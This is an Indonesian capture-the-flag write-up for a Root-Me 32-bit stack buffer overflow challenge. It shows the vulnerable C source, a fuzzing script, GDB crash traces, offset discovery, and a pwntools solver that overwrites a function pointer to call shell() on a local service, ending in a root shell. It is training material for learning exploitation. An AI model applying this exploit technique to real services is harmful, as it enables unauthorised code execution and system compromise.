[REDACTED]
Masalah
Diberikan berkas ch15
beserta source code ch15.c
yang dijalankan sebagai layanan pada nc localhost 31337
.
Penyelesaian
Persiapan
Compile source code ch15.c
menjadi binary ch15
dan jalankan berkas ch15
sebagai layanan dengan perintah ini.
$ gcc -m32 -fno-stack-protector -o ch15 ch15.c
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch15
Pengumpulan Informasi
Periksa jenis binary menggunakan file
dan keamanan binary dengan checksec
serta jalankan secara normal terlebih dahulu
$ file ch15
ch15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e7709251082cea3e087673b57c44cd39b82c554f, not stripped
$ checksec ch15
[*] '/home/dummy/Private/progress/root-me/pwn/elf-x86-Stack-buffer-overflow-basic-2/ch15'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./ch15
dummy
Hey dude ! Waaaaazzaaaaaaaa ?!
Arsitektur yang digunakan adalah Linux 32 bit dan tidak menggunakan proteksi apapun. Adapun alur program meminta input dan mencetak pesan. Jika melihat source code ada fungsi shell
yang dapat menyebabkan Shell bisa dieksekusi.
Isi source code ch15.c
.
#include <stdio.h>
#include <stdlib.h>
void shell()
{ system("/bin/dash");
}
void sup()
{ printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
main()
{ int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}
Identifikasi Kelemahan
Ada fungsi fgets
yang tidak diproteksi sehingga pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault
. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Luaran.
~ skipped ~
Hey dude ! Waaaaazzaaaaaaaa ?!
127
Segmentation fault (core dumped)
SEGMENTATION FAULT on 127 BUFFER
Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault
sebesar 127 bytes.
Eksploitasi
Buka GDB, dan periksa stack yang ada dalam binary.
$ perl -e 'printf "A"x128' > /tmp/delete.me
$ gdb -q ch15
gdb-peda$ r < /tmp/delete.me
Luaran.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x8048400 (<deregister_tm_clones+32>: mov al,ds:0xd0ff0804)
EBX: 0x0
ECX: 0x0
EDX: 0xf7fa787c --> 0x0
ESI: 0xf7fa6000 --> 0x1b1db0
EDI: 0xf7fa6000 --> 0x1b1db0
EBP: 0xffffd358 --> 0x0
ESP: 0xffffd2bc --> 0x804850a (<main+61>: mov eax,0x0)
EIP: 0x8048400 (<deregister_tm_clones+32>: mov al,ds:0xd0ff0804)
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0x8048400 <deregister_tm_clones+32>: mov al,ds:0xd0ff0804
0x8048405 <deregister_tm_clones+37>: add esp,0x10
0x8048408 <deregister_tm_clones+40>: leave
0x8048409 <deregister_tm_clones+41>: repz ret
[------------------------------------stack-------------------------------------]
0000| 0xffffd2bc --> 0x804850a (<main+61>: mov eax,0x0)
0004| 0xffffd2c0 --> 0x0
0008| 0xffffd2c4 --> 0x1
0012| 0xffffd2c8 --> 0xf7ffd918 --> 0x0
0016| 0xffffd2cc ('A' <repeats 128 times>)
0020| 0xffffd2d0 ('A' <repeats 124 times>)
0024| 0xffffd2d4 ('A' <repeats 120 times>)
0028| 0xffffd2d8 ('A' <repeats 116 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08048400 in deregister_tm_clones ()
Ternyata register EIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create
untuk mendapatan posisi register RIP.
gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me
Luaran.
[----------------------------------registers-----------------------------------]
EAX: 0x41416b41 ('AkAA')
EBX: 0x0
ECX: 0x0
EDX: 0xf7fa787c --> 0x0
ESI: 0xf7fa6000 --> 0x1b1db0
EDI: 0xf7fa6000 --> 0x1b1db0
EBP: 0xffffd358 --> 0x0
ESP: 0xffffd2bc --> 0x804850a (<main+61>: mov eax,0x0)
EIP: 0x41416b41 ('AkAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416b41
[------------------------------------stack-------------------------------------]
0000| 0xffffd2bc --> 0x804850a (<main+61>: mov eax,0x0)
0004| 0xffffd2c0 --> 0x0
0008| 0xffffd2c4 --> 0x1
0012| 0xffffd2c8 --> 0xf7ffd918 --> 0x0
0016| 0xffffd2cc ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0020| 0xffffd2d0 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0024| 0xffffd2d4 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
0028| 0xffffd2d8 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416b41 in ?? ()
Ternyata register EIP sudah berhasil ditimpa dengan buffer AAkA
, selanjutnya mencari indeks register EIP pada buffer delete.me
.
echo `python -c 'print open("delete.me").read().rstrip().index("AAkA")'`
Luaran.
127
Dengan demikian fungsi shell
bisa dipanggil dengan meletakkan alamatnya pada akhir payload. Alamat fungsi shell
dapat diketahui dengan perintah dibawah ini.
$ nm ch15 | grep shell
0804849b T shell
Ini dia script solver.py
penyelesaian akhir.
from pwn import *
p = 'A'*128
p += p32(0x0804849b)
h = remote('localhost', 31337)
h.sendline(p)
h.interactive()
Luaran.
[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root